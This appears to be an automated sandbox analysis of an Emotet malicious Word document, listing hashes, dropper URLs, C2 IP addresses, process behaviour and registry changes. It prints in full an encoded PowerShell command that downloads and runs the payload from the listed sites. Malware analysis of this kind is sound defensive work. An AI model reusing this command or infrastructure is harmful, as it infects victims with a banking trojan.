emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
154s
max time network
149s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-29_63553.doc
Size

174KB
MD5

400ab22c38a075fb0839e3c94c96372b
SHA1

fc3ce89a67eca19b9ea4ea37f5d6b73a33b06bea
SHA256

b7cb7ac3c2e6b877b9893ed5651e3dfe2937135d7a2bc612ee70c3abf4a8d654
SHA512

0302ace2721f3a24a06f34f9cc29bf5a7ec4995eca307cf1b9516fe509a2eb5166de7c9d6383fd95fbbaaf6ecf2925b0c8646003e4b87f52ce5e6a21e74e6b0a

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://brkglobalsolutions.com/wp-admin/8t83/

exe.dropper

http://colegioquimico-001-site5.dtempurl.com/wp-admin/RlcS95/

exe.dropper

http://cc8848.xyz/wp-content/DZ747/

exe.dropper

http://cmc.inflack.net/wp-content/Gci3XC/

exe.dropper

http://faridio-001-site9.ftempurl.com/calendar/6KYUV4/

Extracted

Family

emotet

104.236.161.64:8080

89.19.20.202:443

114.109.179.60:80

70.184.69.146:80

120.150.247.164:80

73.125.15.41:80

73.239.11.159:80

181.36.42.205:443

186.138.186.74:443

186.200.205.170:80

68.183.190.199:8080

204.225.249.100:7080

80.11.158.65:8080

31.16.195.72:80

191.183.21.190:80

119.59.124.163:8080

91.72.179.214:80

91.242.136.103:80

93.144.226.57:80

5.88.27.67:8080

rsa_pubkey.plain

Signatures

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Powershell.exeformatvolume.exe

pid process

2024 Powershell.exe
2024 Powershell.exe
2024 Powershell.exe
1844 formatvolume.exe
Blacklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

4 2024 Powershell.exe
6 2024 Powershell.exe
Executes dropped EXE 4 IoCs

Processes:

327.exe327.exeformatvolume.exeformatvolume.exe

pid process

1648 327.exe
1732 327.exe
1828 formatvolume.exe
1844 formatvolume.exe

pid	process
2024	Powershell.exe
2024	Powershell.exe
2024	Powershell.exe
1844	formatvolume.exe

flow	pid	process
4	2024	Powershell.exe
6	2024	Powershell.exe

pid	process
1648	327.exe
1732	327.exe
1828	formatvolume.exe
1844	formatvolume.exe

Drops file in System32 directory 3 IoCs

Processes:

Powershell.exe327.exeformatvolume.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe
File renamed	C:\Users\Admin\327.exe => C:\Windows\SysWOW64\formatvolume.exe	327.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	formatvolume.exe

Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

327.exeformatvolume.exe

pid process

1732 327.exe
1844 formatvolume.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1864 WINWORD.EXE

pid	process
1732	327.exe
1844	formatvolume.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

WINWORD.EXE327.exe327.exeformatvolume.exeformatvolume.exe

pid	process
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1648	327.exe
1732	327.exe
1828	formatvolume.exe
1844	formatvolume.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2024	1984	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 2024 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	2024	Powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

Powershell.exe327.exeformatvolume.exe

description	pid	process	target process
PID 2024 wrote to memory of 1648	2024	Powershell.exe	327.exe
PID 2024 wrote to memory of 1648	2024	Powershell.exe	327.exe
PID 2024 wrote to memory of 1648	2024	Powershell.exe	327.exe
PID 2024 wrote to memory of 1648	2024	Powershell.exe	327.exe
PID 1648 wrote to memory of 1732	1648	327.exe	327.exe
PID 1648 wrote to memory of 1732	1648	327.exe	327.exe
PID 1648 wrote to memory of 1732	1648	327.exe	327.exe
PID 1648 wrote to memory of 1732	1648	327.exe	327.exe
PID 1828 wrote to memory of 1844	1828	formatvolume.exe	formatvolume.exe
PID 1828 wrote to memory of 1844	1828	formatvolume.exe	formatvolume.exe
PID 1828 wrote to memory of 1844	1828	formatvolume.exe	formatvolume.exe
PID 1828 wrote to memory of 1844	1828	formatvolume.exe	formatvolume.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{78DA9AE1-2F93-4024-8D28-C50DDACFA48C}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{78DA9AE1-2F93-4024-8D28-C50DDACFA48C}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{78DA9AE1-2F93-4024-8D28-C50DDACFA48C}\2.0\FLAGS\ = "6"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{78DA9AE1-2F93-4024-8D28-C50DDACFA48C}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{78DA9AE1-2F93-4024-8D28-C50DDACFA48C}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-29_63553.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABTAHIAdgB1AGYAcQBvAG8AZgBxAHkAPQAnAEMAeABpAHMAYwBkAGIAegBsAGsAdgBpACcAOwAkAFYAZABlAGgAcwBrAG0AbQBoACAAPQAgACcAMwAyADcAJwA7ACQAVgB3AGIAdgBvAGYAcwBkAHMAPQAnAFMAcwByAHAAcwB4AHUAagBlAHYAYwB0ACcAOwAkAEMAYQB1AGsAdQBvAGMAeABpAGcAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVgBkAGUAaABzAGsAbQBtAGgAKwAnAC4AZQB4AGUAJwA7ACQATABvAGcAZwBhAG0AdwB0AGcAPQAnAFAAZAB1AG8AagB1AHAAbABrAGwAJwA7ACQASABuAHUAdQB0AHkAawBtAGcAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AVwBFAEIAQwBMAGkARQBuAHQAOwAkAE8AdgBuAGUAYQBqAHAAbgBzAHgAdQBhAD0AJwBoAHQAdABwADoALwAvAGIAcgBrAGcAbABvAGIAYQBsAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4AHQAOAAzAC8AKgBoAHQAdABwADoALwAvAGMAbwBsAGUAZwBpAG8AcQB1AGkAbQBpAGMAbwAtADAAMAAxAC0AcwBpAHQAZQA1AC4AZAB0AGUAbQBwAHUAcgBsAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBSAGwAYwBTADkANQAvACoAaAB0AHQAcAA6AC8ALwBjAGMAOAA4ADQAOAAuAHgAeQB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEQAWgA3ADQANwAvACoAaAB0AHQAcAA6AC8ALwBjAG0AYwAuAGkAbgBmAGwAYQBjAGsALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBHAGMAaQAzAFgAQwAvACoAaAB0AHQAcAA6AC8ALwBmAGEAcgBpAGQAaQBvAC0AMAAwADEALQBzAGkAdABlADkALgBmAHQAZQBtAHAAdQByAGwALgBjAG8AbQAvAGMAYQBsAGUAbgBkAGEAcgAvADYASwBZAFUAVgA0AC8AJwAuACIAUwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXAHMAeABuAHkAcwBtAHQAYwA9ACcARAByAG0AdwBzAHYAdgB5AGwAeQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABGAGcAdABxAGwAbQBlAGEAZwAgAGkAbgAgACQATwB2AG4AZQBhAGoAcABuAHMAeAB1AGEAKQB7AHQAcgB5AHsAJABIAG4AdQB1AHQAeQBrAG0AZwAuACIARABgAG8AdwBuAEwATwBBAGAAZABgAEYASQBMAEUAIgAoACQARgBnAHQAcQBsAG0AZQBhAGcALAAgACQAQwBhAHUAawB1AG8AYwB4AGkAZwBnACkAOwAkAFoAdQB1AGIAbQBpAGEAcwBjAGgAawBvAD0AJwBZAGEAdQB6AGcAeQBtAHIAeAB4AHgAeABwACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAQwBhAHUAawB1AG8AYwB4AGkAZwBnACkALgAiAGwAZQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMwAwADgANgAyACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABgAEEAUgB0ACIAKAAkAEMAYQB1AGsAdQBvAGMAeABpAGcAZwApADsAJABKAHAAcABkAG8AZQB5AGwAaAB0AHEAeABhAD0AJwBJAHEAdwB4AHgAcgB6AHoAJwA7AGIAcgBlAGEAawA7ACQASQB3AHgAZABwAHMAbQBnAGcAPQAnAFkAegBrAHQAYwBpAHIAbgBoAG8AcgBvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAcwBxAHAAZQBrAHAAawB1AGYAaAA9ACcAUwBhAGUAcgB0AGwAaABqAHEAJwA=
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Drops file in System32 directory
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2024

C:\Users\Admin\327.exe
"C:\Users\Admin\327.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1648

C:\Users\Admin\327.exe
--a2b67696
3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
PID:1732

C:\Windows\SysWOW64\formatvolume.exe
"C:\Windows\SysWOW64\formatvolume.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1828

C:\Windows\SysWOW64\formatvolume.exe
--9ff19ea3
2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
PID:1844

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\327.exe

Download Submit
C:\Users\Admin\327.exe

Download Submit
C:\Users\Admin\327.exe

Download Submit
C:\Windows\SysWOW64\formatvolume.exe

Download Submit
C:\Windows\SysWOW64\formatvolume.exe

Download Submit
memory/1648-9-0x0000000000350000-0x0000000000366000-memory.dmp

Filesize
88KB

Download
memory/1732-13-0x0000000000400000-0x00000000004F3000-memory.dmp

Filesize
972KB

Download
memory/1732-12-0x00000000002D0000-0x00000000002E6000-memory.dmp

Filesize
88KB

Download
memory/1828-15-0x0000000000260000-0x0000000000276000-memory.dmp

Filesize
88KB

Download
memory/1844-17-0x0000000000500000-0x0000000000516000-memory.dmp

Filesize
88KB

Download
memory/1844-18-0x0000000000400000-0x00000000004F3000-memory.dmp

Filesize
972KB

Download
memory/1864-7-0x000000000A1D0000-0x000000000A1D4000-memory.dmp

Filesize
16KB

Download
memory/1864-4-0x0000000007FD0000-0x0000000007FD4000-memory.dmp

Filesize
16KB

Download
memory/1864-2-0x0000000007310000-0x0000000007510000-memory.dmp

Filesize
2.0MB

Download
memory/1864-0-0x00000000045E0000-0x00000000045E4000-memory.dmp

Filesize
16KB

Download
memory/1864-1-0x0000000007310000-0x0000000007510000-memory.dmp

Filesize
2.0MB

Download